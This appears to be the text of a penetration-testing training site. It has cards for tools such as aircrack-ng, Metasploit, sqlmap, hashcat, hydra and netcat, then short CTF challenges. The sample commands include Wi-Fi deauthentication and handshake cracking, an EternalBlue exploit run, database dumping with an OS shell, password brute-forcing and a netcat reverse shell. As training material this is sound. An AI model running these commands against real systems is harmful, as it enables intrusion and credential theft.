Learn wireless network security protocols including WPA/WPA2/WPA3 handshake capture, deauthentication attacks, PMKID cracking, and rogue access point deployment. Understand how wireless data packets are transmitted and secured.
Key concepts: Monitor mode, packet injection, handshake cracking using dictionary attacks, and wireless intrusion detection.
iwconfig
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w cap mon0
aireplay-ng --deauth 10 -a XX:XX:XX:XX:XX:XX mon0
aircrack-ng -w wordlist.txt cap-01.cap
Master the industry-standard penetration testing framework. Learn module selection, payload generation with msfvenom, exploit execution, and Meterpreter post-exploitation techniques.
Covers: Auxiliary scanners, remote code execution (RCE) exploits, stagers, privilege escalation, and lateral movement.
msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
exploit
Become proficient in packet capture and traffic analysis. Filter HTTP streams, extract credentials sent over plaintext, dissect DNS queries, and detect anomalous network behavior.
Topics: Display filters, follow TCP stream, PCAP export, and CLI traffic capture with tshark and tcpdump.
wireshark
tshark -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http.request"
tcpdump -i eth0 -w capture.pcap
High-speed, recursive directory and file discovery written in Rust. Locate hidden endpoints, backup files, and unlinked admin portals on web servers efficiently.
Covers: Custom wordlists, status code filtering, thread tuning, recursive depth scanning, and extension probing.
feroxbuster -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w list.txt -x php,txt,json
feroxbuster -u http://target.com -w list.txt --recursive
Master AES-128 encryption in CBC mode with HMAC-SHA256 signature verification using Python's Fernet library. Secure data at rest and build confidential communication channels.
Topics: Key generation, key management, token encryption, and cryptographic payload building.
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
token = cipher.encrypt(b"NEXO-TECH SECRET")
decrypted = cipher.decrypt(token)
The definitive host discovery and vulnerability scanner. Perform stealth SYN scans, OS detection, service version auditing, and execute custom Lua scripts via Nmap Scripting Engine (NSE).
Features: Firewall evasion, timing templates (-T0 to -T5), UDP scanning, and vuln script auditing.
nmap -sn 192.168.1.0/24
nmap -sV -O 192.168.1.100
nmap -p 1-65535 --open 192.168.1.100
nmap --script vuln 192.168.1.100
Automate SQL injection detection and database takeover. Extract schema structures, dump database tables, read remote server files, and spawn interactive OS shell prompts.
Techniques: Blind boolean, time-based delay, UNION query, error-based, and stacked queries.
sqlmap -u "http://target.com?id=1" --dbs
sqlmap -u "http://target.com?id=1" -D db_name --tables
sqlmap -u "http://target.com?id=1" -D db -T users --dump
sqlmap -u "http://target.com?id=1" --os-shell
The world's fastest GPU-accelerated password recovery utility. Perform dictionary, combinator, mask, and hybrid attacks against hundreds of hash algorithm formats.
Supported: MD5, SHA256, NTLM, WPA/WPA2 handshakes, bcrypt, Argon2, and PDF/ZIP passwords.
hashcat -m 0 -a 0 hashes.txt wordlist.txt
hashcat -m 1000 -a 3 ntlm.txt ?a?a?a?a?a?a
hashcat -m 2500 -a 0 wpa.hccapx wordlist.txt
hashcat --show hashes.txt
Parallelized network login cracker supporting numerous protocols. Audit weak passwords across SSH, FTP, HTTP forms, RDP, SMB, and database instances.
Features: Multi-threaded connection pools, custom form parsing, proxy routing, and wordlist pairing.
hydra -l admin -P pass.txt ssh://192.168.1.100
hydra -L users.txt -P pass.txt ftp://192.168.1.100
hydra -l admin -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
Versatile networking utility used for reading and writing network connections via TCP/UDP. Used for banner grabbing, port listening, raw socket testing, file transfer, and reverse shell handlers.
Capabilities: Listeners, port scanning, raw HTTP requests, and socket relays.
nc -zv 192.168.1.100 1-1000
nc -lvnp 4444
nc 192.168.1.100 4444
nc -e /bin/sh 192.168.1.100 4444
An intercepted encrypted serial token was recovered from an air-gapped IoT base station. Decode the hexadecimal string to recover the root flag.
A legacy administrative portal constructs raw database queries using: SELECT * FROM users WHERE user='$u' AND pass='$p'. Provide a classic SQL injection payload to bypass authentication.
We extracted this MD5 password hash from an exposed staging environment. Crack the hash to find the plain text password (or submit the flag format).
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